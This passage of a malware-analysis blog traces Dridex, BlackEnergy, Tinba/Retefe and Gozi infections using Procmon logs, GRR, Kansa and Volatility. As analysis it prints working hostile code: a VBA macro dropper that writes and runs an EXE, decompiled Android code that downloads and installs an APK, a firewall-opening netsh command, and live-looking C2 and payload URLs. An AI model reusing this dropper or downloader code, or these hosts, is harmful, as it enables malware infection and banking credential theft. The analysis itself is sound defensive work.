"23:12:22.1652740","Explorer.EXE","2960","SetDispositionInformationFile","C:\Users\angel\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3207478364-1257758836-272776370-1001\50acd1cc9d8c60665c5c9c0c498ede76_88854119-2691-4352-be47-af20ed1e43f7","SUCCESS","Delete: True","4756"

New threads created and injected TCP/443

Again, several threads are created and injected in other processes. Like for example taskhost.exe

Connection to 41.38.18.230 443/TCP

Later one, there is a HTTPS connection to host 41.38.18.230, however this host responds with RST, which means the port is not open or is being filtered.

Connection to 81.82.210.239 443/TCP

As there is no possibility of connection to the 41.38.18.230, another connection is established with 81.82.210.239 through HTTPS. 

Information of the certificate 

The certificate for 81.82.210.239 is not signed by a valid CA and accessing from any browser will trigger a warning. If we look to the content of the certificate we can see it has been recently created (24/12/2015) which is the same day of the analysis.

Certificated valid from the infected host

But looking to the same certificate from the infected host (Internet Explorer) doesn't trigger any alert. This means that the root CA certificate signing that rogue certificate is already trusted in the system. This is likely why there was a temporal file stored in "Roaming\Microsoft\Crypto\RSA\" 

TCP flow

There is a bunch of traffic with through HTTPs, this traffic likely is due to some file being downloaded.

DLL files 

Temporal file created by Explorer.EXE

As pointed previously, it looks like some file was being downloaded through the HTTPS connection, and later on a temporal file is created.

"23:17:08.3199249","Explorer.EXE","2960","CreateFile","C:\Users\angel\AppData\Local\tRq4VYnd","SUCCESS","Desired Access: Generic Read/Write, Disposition: OverwriteIf, Options: Synchronous IO Non-Alert, Non-Directory File, Attributes: S, ShareMode: None, AllocationSize: 0, OpenResult: Created","3864"

Fake DLL created

The  temporal is later opened by the DLLHost.exe. Which means is a DLL file. Actually, in the end there is a new DLL named cryptbase.dll. 

This DLL is a valid DLL for Windows 7, however the folder where it has been stored is not valid, which demonstrates this is a fake DLL.

"23:17:10.1100720","DllHost.exe","2704","ReadFile","C:\Users\angel\AppData\Local\tRq4VYnd","SUCCESS","Offset: 0, Length: 3'072, Priority: Normal","3032"

"23:17:10.1101002","DllHost.exe","2704","WriteFile","C:\Windows\System32\sysprep\cryptbase.dll","SUCCESS","Offset: 0, Length: 3'072, Priority: Normal","3032"

Fake DLL loaded

The DLL is loaded which is another phase of the malware infection.

Firewall changes

Some firewall changes are implemented in order to allow any connection for the application Explorer.EXE. 

"23:17:10.9104709","sysprep.exe","748","Process Create","C:\Windows\system32\netsh.exe","SUCCESS","PID: 4416, Command line: netsh advfirewall firewall add rule name=""Core Networking - Multicast Listener Done (ICMPv4-In)"" program=""C:\Windows\Explorer.EXE"" dir=in action=allow protocol=TCP localport=any","352"

DLL and temporal files deleted

After the DLL has been loaded, the files are removed from the sytem

Conclusion

With ProcDot it is really easy to follow up what the malware does. This version of Dridex does the following:

1. Some threads are created in order to check the network settings and perform some specific configuration
2. A TCP connection to 23.88.104.64:243 is established. This is the C&C.
3. While the communication with the C&C some custom settings are configured. A unique ID is assigned to the compromised host through a unique register. 
4. A file is downloaded from the C&C. This file is stored in the repository where all the certificates are stored. Some injected threads are on charge of this
5. A new connection is established to 81.82.210.239 through HTTPS. The certificate used by that server is signed by not trusted CA, however IE on the compromised host doesn't complain about this, which means that the CA certificate has been imported and is trusted. This is basically why there is a file downloaded and stored in step 4. SSL is used to perform the analysis more difficult and to encrypt the communication 
6. During the SSL communication with 81.82.210.239, a new file is downloaded. This file is a DLL file and is loaded by the OS. The name of the DLL is the same than a valid Windows DLL in order, but it is place in a different folder.
7. The DLL and the temporal files are deleted from the system

Next step will be to analyse the DLL downloaded in order understand what it does, as this is the core of the malware.

Analysis of Dridex using GRR Rapid Response Framework

January 4, 2016, 8:40 am

≫ Next: Analysis of BlackEnergy MS Office XLS Dropper

≪ Previous: Analysis of Dridex (II) - Analysis of malicious executables with ProcDOT

$

0

0

GRR is a framework developed by Google to perform live incident response on systems. It has many interesting features but from my point of view and when comparing with other tools there are two things to highlight: the possibility to perform incident response in multiple systems at once and that is multi-platform (Linux, MacOSX and Windows)

The architecture is very simple. There is a server running GRR where all the clients are connected. This same server is accessible via HTTP/s and also via console to gather information from the compromised system.

The clients, needs to install / execute a package, in order to connect to the server and receive instructions from the server, like for example dump the memory, list the processes running or perform a MACTimes.

In the documentation there is very good instructions on how to perform the installation on the server side, so there is no point on repeating the same again :)

Once the server is done, and it is reachable through HTTP, it is necessary to install the client. In this case, the agent to install is the amd64 bits. The easiest way to do it is directly accessing the URL and browsing to the binary. However, there is other mechanism to do it remotely like using 'psexec'.

Once the binary is installed, I can see there is a new service name "GRR Monitor"

 

Next step is to search for the system to analyse, the one which has been compromised.
This is done through the search box on the top-right of the web interface, and  the system can be searched by hostname, IP, MAC address.... 



All the information from that specific host is displayed in the "Host information" link, on the left side of the management web interface



If I wanted to perform the memory analysis, the first thing to do would be to dump the memory of the system. This would be the first approach to avoid losing much evidence from memory. 
To do this, a 'new flows' must be created through the "Start news flows" menu. In essence a flow is just an action, like for example list a registry, list the processes, dump the memory..

But in this case, the first thing I'm going to do is to analyse the filesystem. To do this I go to the 'Browse Virtual Filesystem", and press the refresh button under the drive C:


This creates a "launched flow":



Once the flow is finished (it can take some time), the file system can be browsed. This same approach can be done for the registry of the system




Once the flow is finished (it can take some time), the file system can be browsed. This same approach can be done for the registry of the system.
All the 'flows' executed are displayed in the "manage launched flows", and the results are displayed in the "browse virtual filesystem".
For example, in the screenshot below I can see there are two flows executed, one to list the processed and the second one to list the connections




Now if I go to to "browse virtual filesystem" -> "analysis"-> "list processes" I can see all the processes running on the system:



For example, some interesting process I see is "WINWORD.EXE", which opens a doc file name "file.doc"



Looking at the connections ESTABLISHED, I see a HTTPS connection to an IP from Chile. This IP is already reported in VirusTotal as malicious: https://www.virustotal.com/es/ip-address/186.67.56.157/information/



Next step is to generated the MACTimeline so I can analyse the filesystem. This is done through the "flow" presented in the screenshot below:




Again, a new 'flow' is created and once it is executed, the results can be seen or downloaded



Now I'll focus the analysis in the MAC timeline, and I will start looking at the 'file.doc' which it is suspicious to me.

Around 9:51:07 the suspicious file was opened



Following to that, a temporal file has been created. This is due to the way MS works creating temporal backups to avoid losing the data. 




A few minutes later, there is a very interesting file created in the timeline. This file looks like VBS file


So let's take a look to it. In order to do that, with GRR we can request files from the system, even if they have been deleted. To do this, we need to browse to directory in the filesystem where the file is, and press 'get a new version'. After some second, the file will be gateherd from the system and presented in the web GUI. 



So now the file can be downloaded and examined. Looking at the file I can see there is an obfuscated VBS





Once we have this file, I can investigate it with a debugger i explained in a previous post.

Analysis of BlackEnergy MS Office XLS Dropper

January 6, 2016, 11:32 pm

≫ Next: Tinba malware Analysis (part I)

≪ Previous: Analysis of Dridex using GRR Rapid Response Framework

$

0

0

In the last few days there were a lot of news (2) regarding a malware which produced some blackout in Ukrainian.

It is not clear yet the full intrusion chain and how the malware was related to the blackout.

(See RobertMLee twitter https://twitter.com/RobertMLee/status/685030648587812864  https://twitter.com/RobertMLee/status/685031160901074944)

However, it looks like there was an MS Office XLS document involved or it was somehow related. 
I got a sample of the file, and In order to perform the analysis, I followed up similar approach to this post I did some days ago:

Using Remnux v6, check the content of the file with oletools:

I dump the macro to a temporal file:







There are several encoded subroutines, but the important part for me, in order to get the EXE is the final part of the code. I can see a executable file is created and then this file is executed through the instruction 'shell'

..
Private Sub MacroExpl()
    Dim fnum As Integer
    Dim fname As String
    Dim i As Integer
    Dim j As Integer
    Dim aa As Byte
    Init0
    Init1
    Init2
    Init3
    Init4
    Init5
    Init6
    Init7
    Init8
    Init9
    Init10
    Init11
    Init12
    Init13
    Init14
    Init15
    Init16
    Init17
    Init18
    Init19
    Init20
    Init21
    Init22
    Init23
    Init24
    Init25
    fnum = FreeFile
    fname = Environ("TMP") & "\vba_macro.exe"
    Open fname For Binary As #fnum
    For i = 1 To 768
        For j = 0 To 127
            aa = a(i)(j)
            Put #fnum, , aa
        Next j
    Next i
    Close #fnum
    Dim rss
   rss = Shell(fname, 1)
End Sub

Private Sub Workbook_Activate()
    MacroExpl

End Sub



Next step is to dump the exe file. For that I will try first to open the original malicious XLS with the MS office debugger in order to put a breakpoint in that function, before it is executed. 




However, the macro is password protected:



But as I have the macro already dumped in Remnux, I can create my own XLS document and import that Macro. So I do that:




Now I setup the breakpoint in the 'Shell' command and I can see where the executable file is stored before it is executed





With this I have the executable :)
In future posts I will explain a bit the approach to analyse the EXE file.

Tinba malware Analysis (part I)

January 11, 2016, 11:00 pm

≫ Next: 2nd part of Tinba Malware analysis: The APK side

≪ Previous: Analysis of BlackEnergy MS Office XLS Dropper

$

0

0

Threat actors are always evolving and changing their Techniques Tactics and Procedures (TTP). A current example of this is the evolution in terms of malware used by the threat actors behind Retefe / Emmental.
In this blog I posted several posts( http://blog.angelalonso.es/search/label/operationemmental) with the analysis of Refete / Emmental malware from different perspectives. Here I mentioned there are two components in the infection chain: a windows malware and a malicious APK. Now, they are still using this multi-malware technique, but there are several changes worth to mention. 

This time the malware they are using for the Windows infection is a very well know bank malware: Tinba.
I got an example yesterday and I wanted to take a brief look about what is this malware doing in general terms. Worth to note that by the time I got  the malware only 3 Antivirus detected the specimen, which means the infection rate is likely very high.

In the beginning I can see the malware is performing several tasks, like for example creating a copy of itself and killing the parent process.

After that, the new process creates a 'explorer.exe' process to looks like a normal process (PID 3508).

"1:25:54.3573320 PM","file.exe","3652","Process Create","C:\Windows\SysWOW64\explorer.exe","SUCCESS","PID: 3508, Command line: explorer","3664"

Later on, one of the threads of that explorer process (Thread 3700) is in charge of injecting threads  in several core processes of the system:



"1:25:55.4411267 PM","taskhost.exe","1380","Thread Create","","SUCCESS","Thread ID: 3080","3700"
"1:25:55.4412113 PM","Dwm.exe","2620","Thread Create","","SUCCESS","Thread ID: 3628","3700"
"1:25:55.4413015 PM","Explorer.EXE","2524","Thread Create","","SUCCESS","Thread ID: 2324","3700"
"1:25:55.4413891 PM","Bootcamp.exe","2388","Thread Create","","SUCCESS","Thread ID: 3176","3700"
"1:25:55.4414673 PM","vmtoolsd.exe","2440","Thread Create","","SUCCESS","Thread ID: 784","3700"
"1:25:55.4415535 PM","GWX.exe","796","Thread Create","","SUCCESS","Thread ID: 1668","3700"
"1:25:55.4416071 PM","Wireshark.exe","3436","Thread Create","","SUCCESS","Thread ID: 2904","3700"
"1:25:55.4416922 PM","dumpcap.exe","2720","Thread Create","","SUCCESS","Thread ID: 4044","3700"
"1:25:55.4417617 PM","conhost.exe","2572","Thread Create","","SUCCESS","Thread ID: 3820","3700"
"1:25:55.4419328 PM","DllHost.exe","3040","Thread Create","","SUCCESS","Thread ID: 3688","3700"
"1:25:55.4420515 PM","file.exe","3652","Thread Create","","SUCCESS","Thread ID: 3768","3700"

"1:25:55.4421823 PM","explorer.exe","3508","Thread Create","","SUCCESS","Thread ID: 3772","3700"

However, the interesting thing which I am going to take a look is the thread injection to the Internet explorer process happening.





As I have Wireshark running I can analyse the traffic sent by the compromised host, and I am very interesting to see what happens when I visit one of the victim banks.

While browsing to the ebanking web everything looks normal, however, there is a moment just before trying to log in in the bank account, when I see a suspicious DNS request to trakofed.net



After the DNS has resolved to the IP 80.87.192.47 there is a HTTPS communication to that IP and this exactly when the injection in the browser has been done.


In the infected host, I can see there injected page, which links to the malicious APK.  




In the host I see the HTTPS connection established to the bad site, which deliver the bad content to the victim.





The malware they were using in the past, used to change the proxy setup in order to redirect the traffic to a proxy controlled by the bad guys, so a simple inspection in the browser connection settings will be enough to discover it. However, this injection method is totally transparent to the user and there is not any strange behaviour that can be easily spot.

On the other hand, the APK file to be downloaded has changed as well and there are new things on this as well. I will analyse the changes in the APK in future posts.

---

2nd part of Tinba Malware analysis: The APK side

January 19, 2016, 1:10 am

≫ Next: Tinba: Continuation of the APK malware analysis

≪ Previous: Tinba malware Analysis (part I)

$

0

0

As showed in my previous post about Tinba malware Threat Actors are continually adapting and changing their techniques and tools. While doing the analysis of the Tinba malware, I ended up with an Android APK which it sounded very familiar to me. This APK is the new version of the Android Bank Trojan Emmental/Retefe. 

I wrote a bit about previous versions of the trojan in several posts:

http://blog.angelalonso.es/2015/10/android-memory-analysis-preparing.html
http://blog.angelalonso.es/2015/10/decrypting-emmental-blowfish-and-base64.html
http://blog.angelalonso.es/2015/10/android-memory-analysis-iii-analyzing.html
http://blog.angelalonso.es/2015/10/malware-analysis-with-androguad.html
http://blog.angelalonso.es/2015/10/reversing-c2c-http-emmental.html
http://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html
http://blog.angelalonso.es/2015/10/android-memory-analysis-iii-analyzing.html


The sample I got (49a7217ea3af4f4254fe8acbf221263afee24900193870dcc094fac39858e5c4) is not reported in VT yet. However, there are similar samples already reported in VT since few weeks:

3cbe649958ab07238c2e4145f37f04bc4f4fd1e3a12f55129355a72e04ffe8da
c88bb1eb09246e52b009386066da3b3b74a4c3f791a0ccc8d5b641ca5c365d1e

What is new in this version of the malware?

There are several interesting new things that have been introduced in this new version of the malware, but I am going to focus in what I have seen as the most interesting feature: the persistence in the device.

Looking at the initial encrypted configuration file, where all the C&C URL are stored, I see a new field named 'download_url'

$cat config_plain.txt

<?xml version="1.0" encoding="utf-8"?>

          <config>

            <data rid="25"

                  shnum10="" shtext10="" shnum5="" shtext5="" shnum3="" shtext3="" shnum1="" shtext1=""

                  del_dev="0"

                  url_main="http://mbarbaram.com/Tri-Oval/09291245410kk.php;http://hoteldellenazionimilan.com/wp-includes/main.php"

                  phone_number=""

 download_url="http://hardits.com/seta.apk"

                  ready_to_bind="0" />

          </config>

This field contains a link to another APK. This is really interesting and worth to investigate.

When I installed the APK in my device, the new application "CreditSuisse SMSSecurity" is there

When launching it, I get a new windows which requires 'additional settings to work'

In the accessibility options, it exists now a new option for the CreditSuisse SMSSecurity

Going to that option I can see that it is asking to enable some 'updates', which it is really suspicious

After I have enabled the 'new service', I see a new 'Messaging' application is installed.

At the same time I can see HTTP traffic to the C&Cm but also to the URL configured in the initial configuration which points to the APK (http://hardits.com/seta.apk)

There are now in the system two different new applications with different names running. 

root@hammerhead:/ # ps | grep sms

root      20    2     0      0     c01af260 00000000 S smsm_cb_wq

u0_a143   3096  199   1572676 72728 ffffffff b6e6c898 S com.google.smsmms

u0_a143   3173  199   1498728 41028 ffffffff b6e6c898 S com.google.smsmms:remote

u0_a142   30882 199   1529224 65980 ffffffff b6e6c898 S com.google.securesms

u0_a142   31068 199   1501308 49196 ffffffff b6e6c898 S com.google.securesms:remote

com.google.securesms is the first installed application (CreditSuisse SMSSecurity), and com.google.smsmms has been installed by com.google.securesms. However, it looks like only the first one has the proper configuration file MainPref.xml with the C&C

Although, if I uninstall the original 'CreditSuisse SMSSecurity', the MainPref.xml with the C&C appears. But in this case the download_url field pointing to the APK doesn't exist.

After this, the connections to the C&C are normally done.

What's going on here?

• The initial APK fools the user to allow some special 'permissions' in order to perform updates
• Once those 'permissions' are granted, the application installs another  'Messaging application'. The URL of the APK is in the initial configuration file MainPrefs.xml
• This second 'Messaging Application' doesn't do anything and doesn't contain the C&C configuration MainPref.xml file in the beginning
• The second application becomes active and with the MainPref.xml populated once the first application CreditSuisse SMSSecurity is uninstalled in order to guarantee persistence

More to come in next posts :)

Tinba: Continuation of the APK malware analysis

January 21, 2016, 6:03 am

≫ Next: Usage of Tor by Tinba malware

≪ Previous: 2nd part of Tinba Malware analysis: The APK side

$

0

0

During my previous post I explained that the new version of the Android Bank trojan related to Tinba is able to install other APK for persistence purposes. During a first look on both samples the core functionality in terms of stealing 2FA remains the same. However, in terms of the capabilities to install new APKs, only the one of them have them.

In order to perform the installation, I can see in the AndroidManifest.xml that there is some extra permissions in one of the APK: 
"android.permission.BIND_ACCESSIBILITY_SERVICE" which it is clearly related to the way the malware fools the user through the accessibility menu, as explained in previous post.

 

What I am really interested is the java methods in charge of performing the tasks of downloading he APK and doing the installation. Looking around a bit with Androguard and following the flows of the code I ended up with a class file which contains the code:

package com.google.securesms.xservices;
publicclassgextends android.os.AsyncTask{
final synthetic com.google.securesms.xservices.XUpdate a;
private android.content.Context b;

publicg(com.google.securesms.xservices.XUpdate p1)
{
this.a= p1;
return;
}

protected varargs Void a(String[] p6)
{
        android.content.Intent v0_3 =((java.net.HttpURLConnection)new java.net.URL(p6[0]).openConnection());
        v0_3.setRequestMethod("GET"); 
        v0_3.setDoOutput(1);
        v0_3.connect();
        String v2_3 =new java.io.File(new StringBuilder().append(android.os.Environment.getExternalStorageDirectory()).append("/download/").toString());
        v2_3.mkdirs();
        android.content.Context v1_10 =new java.io.File(v2_3,"update.apk");
if(v1_10.exists()){
            v1_10.delete();
}
        String v2_6 =new java.io.FileOutputStream(v1_10);
        android.content.Intent v0_4 = v0_3.getInputStream();
        android.content.Context v1_12 =newbyte[1024];
while(true){
            String v3_1 = v0_4.read(v1_12);
if(v3_1 ==-1){
break;
}
            v2_6.write(v1_12,0, v3_1);
}
        v2_6.close();
        v0_4.close();
        android.content.Intent v0_6 =new android.content.Intent("android.intent.action.VIEW");
        v0_6.setDataAndType(android.net.Uri.fromFile(new java.io.File(new StringBuilder().append(android.os.Environment.getExternalStorageDirectory()).append("/download/update.apk").toString())),"application/vnd.android.package-archive");
        v0_6.setFlags(268435456);
this.b.startActivity(v0_6);
return0;
}

publicvoida(android.content.Context p1)
{
this.b= p1;
return;
}

protected synthetic Object doInBackground(Object[] p2)
{
returnthis.a(((String[]) p2));
}
}

This class basically downloads a file and keeps it as 'update.apk' in the external storage directory 'download', which in the end is /sdcard/download/update.apk. Later on, through the intent 'android.intent.action.VIEW' the file is opened, hence executed, as can be seen in the logs

 I/ActivityManager(778): START u0 {act=android.intent.action.VIEW dat=file:///storage/emulated/0/Download/update.apk typ=application/vnd.android.package-archive cmp=com.android.packageinstaller/.PackageInstallerActivity} from uid 10084 on display 0

 I/ActivityManager(778): START u0 {dat=file:///storage/emulated/0/Download/update.apk cmp=com.android.packageinstaller/.InstallAppProgress (has extras)} from uid 10063 on display 0

The URL from the malware is downloaded is stored in the initial MainPref.xml, DOWNLOAD_URL. That field is parsed through one of the methods called in the com.google.securesms.xservices.

package com.google.securesms.xservices;
publicclassXUpdateextends android.content.BroadcastReceiver{

publicXUpdate()
{
return;
}

publicvoidonReceive(android.content.Context p6, android.content.Intent p7)
{
if(com.google.securesms.j.i.a("DEL",0, p6)<=0){
if((!com.google.securesms.j.i.c())||((!com.google.securesms.j.i.r(p6))||((com.google.securesms.i.ac.a(p6))||(com.google.securesms.j.i.a("RTB",0, p6)<=0)))){
if((!com.google.securesms.j.i.b())||(com.google.securesms.j.i.r(p6))){
if((com.google.securesms.j.i.b())&&((com.google.securesms.j.i.r(p6))&&((!com.google.securesms.j.i.a(p6, com.google.securesms.j.i.c))&&(!com.google.securesms.j.i.a("DOWNLOAD_URL","", p6).isEmpty())))){
                        com.google.securesms.xservices.g v0_17 =new com.google.securesms.xservices.g(this);
                        v0_17.a(p6);
                        String[] v1_2 =new String[1];
                        v1_2[0]= com.google.securesms.j.i.a("DOWNLOAD_URL","", p6);
                        v0_17.execute(v1_2);
}
}else{
                    com.google.securesms.xservices.g v0_19 =new android.content.Intent(p6, com.google.securesms.xpack.ActAS);
                    v0_19.addFlags(131072);
                    v0_19.addFlags(268435456);
                    p6.startActivity(v0_19);
}
}else{
                com.google.securesms.j.i.q(p6);
                android.media.RingtoneManager.getRingtone(p6, android.media.RingtoneManager.getDefaultUri(2)).play();
}
}else{
            com.google.securesms.j.i.c("UNINST","Action for uninstall fixed", p6);
            com.google.securesms.xservices.g v0_25 =new android.content.Intent(p6, com.google.securesms.xpack.ActUpdate);
            v0_25.addFlags(268435456);
            p6.startActivity(v0_25);
}
return;
}
}

By the time of writing this post the URL is still active, so it is possible to download the malware for further analysis. Also, it is reported in VT with hash

ce1cf0db8c84e9c903faf33e65c3cea4fa596e4d8ad169f9c48ed9629cf24c0d

Usage of Tor by Tinba malware

February 1, 2016, 7:16 am

≫ Next: Enterprise Incident Response: detecting Gozi IFSB Malware

≪ Previous: Tinba: Continuation of the APK malware analysis

$

0

0

It is not new that cyber criminals and malware developers use Tor. Today I ended up with a very nice sample of the Tinba / Refete family which has evolved to make usage of Tor.

The sample, which has been already in VT for some days (d770040d2bf4c12c9dc8fd1bfc23bc9b)looks like a valid application to access the e-banking named 'Verifikation.exe'.



So far all the malware related to Refete / Timba I wrote about tried to steal the bank credentials of the victim while infecting the Windows system. Later on, and in order to steal the two factor authentication token, it fooled the user to install a malicious Android application which permits to forward all the incoming SMS to the 'bad guys'. However, there are some banks which do not use SMS tokens as 2FA, but a RSA token or calculator which generates tokes

Going back to the the 'Verifikation.exe' application, and when launching it, the first thing that happens is that a window simulating the e-banking show ups.  The bad guys are trying to fool the victim this way.

When looking to the network traffic, the first interesting thing that happens is a DNS query to a strange domain: b3pepirxq7l2aybj.onion.link. After the domain has resolved, there is an HTTP GET request to that domain.

What does that domain mean?. The onion.link is an existing domain which is used to link Tor domains to web. For more information about this: http://www.onion.link/faq.html

This means that the website is in Darkweb behind the URL http://b3pepirxq7l2aybj.onion

Actually, if I try to access directly that website from a Tor browser I directly can access the fake website of the bank:

This is very interesting stuff.

Looking at the HTTP request/response and the HTML code there is something interesting:

 ...

\t</div> \n
     [truncated]\t<script>var codehelper_ip={};function getip(v){if(typeof(v)!='undefined') codehelper_ip.IP=v.ip;}</script><script src="https://api.ipify.org/?format=jsonp&callback=getip"></script><script>document.write("<script src='/ajax/st
    \t</body>\n

....

This https://www.ipify.org/ service is used to gather the source IP of the user, in this case the victim. Moreover, there are several HTTP requests which sends the IP of the victim together with other data.

(http://b3pepirxq7l2aybj.onion.link/ajax/status.php?cmdid=8&gettype=t&id=149&ip=x.x.x.x)

This same "ajax/status.php" resource is used to send some data through POST, base64 encoded, which can be easily decoded.






As mentioned in the beginning, there are some banks which do not use SMS as 2FA and this bank is one of them. It is necessary a physical calculator to generate the token, and the malware must be able to also capture this token.

Previously to ask for the token generated, the fake bank page asks for some personal details, like for example the date of birth.




Last step is to ask for the token generated by the calculator, which gives access to the account of the victim.

Enterprise Incident Response: detecting Gozi IFSB Malware

February 7, 2016, 6:56 am

≫ Next: Tinba malware Memory Forensic

≪ Previous: Usage of Tor by Tinba malware

$

0

0

Yesterday the Swiss GoverCERT.ch wrote a post about a bug they have found in a malware (Gozi IFSB) currently hitting Swiss financial Institutions. The information references to a post that the same GovCERT.ch wrote about some months ago.
In a nutshell, the threat actors are using some Exploit Kit (EK) that is triggered via an iframe, hosted in a well know advertisement company, in order to install the Gozi IFSB bank trojan on the victim.

In cases like this, and given the fact that the iframe is hosted in very popular website, it might be that many systems in a large enterprise have been infected. As part of an Incident Response planning, it is necessary to be able to check and perform analysis on many systems at the same.  There are several tools which can help on this. I already wrote about some of the well known tools which can help on this like the GRR Respone Framework from Google. However, this tools are not built within the OS, which in some environments might be an issue. Also those tools require additional infrastructure to host the systems acting as server. In such scenarios, it is handy to be able to use some built-in tools within the OS.

Kansa: a Powershell Incident Response Framework

Powershell is a very powerful tool built in Windows OS which can be used to perform deep analysis. Some time ago I was the proctor for a SANS paper in which the student used the Powershell to perform Intrusion Analysis on Windows systems (Intrusion Analysis Using Windows PowerShell (SANS Institute) and I found this quite useful.

Powershell permits to run remote commands encrypted and using Kerberos as authentication mechanism, which is really a must to have when performing incident response in a big enterprise. Microsoft explains how to setup Powershell to execute remotely here.

Taking advantage of the Powershell features David Hull has created a framework named Kansa which is designed to perform Incident Response in live Windows systems.

There are several posts of how to use the framework here and here. 

Running Kansa to detect Gozi IFSB

In the screenshot below, I am running Kansa against a remote host named windows7vm which I suspected has been infected with Gozi. I have enabled several modules to gather information about the processes running, the network connections, the logs from windows, etc.

The output produced is stored in the local system in a subfolder into the kansa folder,  named "Output_*". The different files then can be analysed with some of the analysis plugins that Kansa includes in the analysis folder, for example the processes running in the infected host. 

In the screenshot below I can see the processes running together with the hash of the binary, which can help to detect malicious processes on the system. However, in this case all the process looks normal to me.

One of the things usually Malware try to do is to become persistent in the system. This can be done through different techniques, but one very common is to use some autorun registry keys. As I have run Kansa with the module "AutorunscDeep" enabled, which basically runs autorunscn (from windows sysinternals) in the background, I can investigate all the processes which are run automatically through a registry key.

From the log obtained from Kansa, and with a simple Powershell command, I can search for the autorun registry in order to detect something strange:

cat .\windows7vm-AutorunscDeep.tsv| Select-String"CurrentVersion\\Run"

All the items looks normal, except the last item:




All the entries in the file always reference to binaries in %Program Files% or from c:\Windows\System32\, however the last one references to a binary which is under the AppData folder of the user, where usually are kept configuration files and temporal files for that user, so this file to me is suspicious enough to be investigated. Moreover, I can see when that key was included into register (2/4/2016 3:51 PM) which could be correlated with other information from the incident.

2/4/2016 3:51 PM    HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run    datadWSD    enabled    Logon
windows7vm\angel            c:\users\angel\appdata\roaming\dot3lapi\cmicclnt.exe
C:\Users\angel\AppData\Roaming\dot3lAPI\cmicclnt.exe    963D44F6DA9A6169C2FDADEBC9E5CB9A
6297F514A6370B48AD388C3FA2E861AD9B8B7132    94A87FF2C41DC295A5DDE9A3927B6A122A72D348
051BB725179AD39C5B94CD2BD6180CC3918FC3A637BB48689ABF91AAF2B98CE5
787DD254B568C64B0E52AC61CBB373A2F44E73535B290A513310B92A74F19E48            7.75622395293199    windows7vm
758ebbeb-b3fb-4dbd-abf9-1bebf7313402    True

With Powershell, I can download the suspicious file from the infected system in order to analyse deeper. A command to do it is as follow:

Invoke-Command -ComputerName windows7vm -ScriptBlock {
Copy-Item -Path c:\users\angel\appdata\roaming\dot3lapi\cmicclnt.exe -Destination c:\Users\angel\Documents
 }

Then, once I have a local copy of the file I can being the analysis on the suspicious binary.

Tinba malware Memory Forensic

February 15, 2016, 7:52 am

≫ Next: Mazar BOT: When malware authors do not hide their intentions

≪ Previous: Enterprise Incident Response: detecting Gozi IFSB Malware

$

0

0

Forensic techniques have evolved in the last years. There has been a lot of research done and many tools have been developed around forensic in live systems. The analysis approach has changed quite a bit, as previously most of the analysis was done focusing in the filesystem, but now the analysis of the memory is a key step. This is due to the fact that many of the evidence are in memory at some state on account that anything running in a system has to pass through the memory at some point. Additional, there is some malware which runs only in memory and doesn't write to disk, which means evidence can't be gathered through the file system, but only through the memory.

Some days ago I wrote about a version of Tinba affecting some Swiss bank which was using Tor, what information can be gathered from the memory of a infected system with such malware?

The first thing to do is to obtain a memory dump of the infected system. The are several tools and methods, however I find the tool winpmem from the rekall framework very easy to use. The tool can be used from a external USB to dump the memory in that same USB, which can be later on analysed in the Forensic workstation.

It exists several tools to perform the analysis of memory dumps. Some of them being commercial and some free.
From Mandiant, there is Redline, which I wrote about some time ago. Redline permits to gather the data from the system and / or analyse it as well. Also, there is Volatility which is multi-platform and can even be used to perform memory forensic on Android, as I wrote here.

In this post I am going to use Volatility, but in future post I will explain how you can do the same with Redline. 

There is a set of steps to perform memory forensic. A good document that covers those steps and the set of commands to run are in the memory forensic cheat sheet from SANS:
https://digital-forensics.sans.org/media/memory-forensics-cheat-sheet.pdf. The six steps are:

1. Identify Rogue Processes 
2. Analyze Process DLLs and Handles 
3. Review Network Artifacts 
4. Look for Evidence of Code Injection 
5. Check for Signs of a Rootkit 
6. Dump Suspicious Processes and Drivers 

1) Identify Rogue Processes 

The first step is to check the process running in memory with 'pslist'. 

 volatility --plugins=plugins/ --profile=Win7SP1x64 -f mem-2.dmp pslist  
 Volatility Foundation Volatility Framework 2.5  
 Offset(V)     Name          PID  PPID  Thds   Hnds  Sess Wow64 Start             Exit  
 ------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------  
 0xfffffa8003c729c0 System          4   0   99   599 ------   0 2016-02-12 20:32:20 UTC+0000  
 0xfffffa800466eb10 smss.exe        272   4   2    30 ------   0 2016-02-12 20:32:20 UTC+0000  
 0xfffffa8004f01b10 csrss.exe        368  356   10   659   0   0 2016-02-12 20:32:21 UTC+0000  
 0xfffffa800482a510 wininit.exe       412  356   3    77   0   0 2016-02-12 20:32:24 UTC+0000  
 0xfffffa8004834b10 csrss.exe        420  404   10   321   1   0 2016-02-12 20:32:24 UTC+0000  
 0xfffffa800532a510 winlogon.exe      476  404   3   122   1   0 2016-02-12 20:32:25 UTC+0000  
 0xfffffa8005330b10 services.exe      500  412   15   259   0   0 2016-02-12 20:32:25 UTC+0000  
 0xfffffa8005354350 lsass.exe        528  412   7   637   0   0 2016-02-12 20:32:25 UTC+0000  
 0xfffffa8005361570 lsm.exe         536  412   11   206   0   0 2016-02-12 20:32:25 UTC+0000  
 0xfffffa80049ff060 svchost.exe       632  500   11   375   0   0 2016-02-12 20:32:26 UTC+0000  
 0xfffffa8004a33b10 vmacthlp.exe      692  500   3    55   0   0 2016-02-12 20:32:26 UTC+0000  
 0xfffffa8004a5db10 svchost.exe       736  500   8   321   0   0 2016-02-12 20:32:26 UTC+0000  
 0xfffffa800542cb10 svchost.exe       816  500   19   483   0   0 2016-02-12 20:32:27 UTC+0000  
 0xfffffa80054859c0 svchost.exe       884  500   18   438   0   0 2016-02-12 20:32:27 UTC+0000  
 0xfffffa80054b5b10 svchost.exe       928  500   17   625   0   0 2016-02-12 20:32:27 UTC+0000  
 0xfffffa80054d3b10 svchost.exe       956  500   47   1284   0   0 2016-02-12 20:32:27 UTC+0000  
 0xfffffa80054fcb10 svchost.exe       360  500   5   111   0   0 2016-02-12 20:32:27 UTC+0000  
 0xfffffa80055c9650 svchost.exe      1076  500   27   739   0   0 2016-02-12 20:32:28 UTC+0000  
 0xfffffa8005646b10 spoolsv.exe      1248  500   13   358   0   0 2016-02-12 20:32:28 UTC+0000  
 0xfffffa8005689060 svchost.exe      1280  500   19   321   0   0 2016-02-12 20:32:28 UTC+0000  
 0xfffffa800571eb10 armsvc.exe       1376  500   4    69   0   1 2016-02-12 20:32:29 UTC+0000  
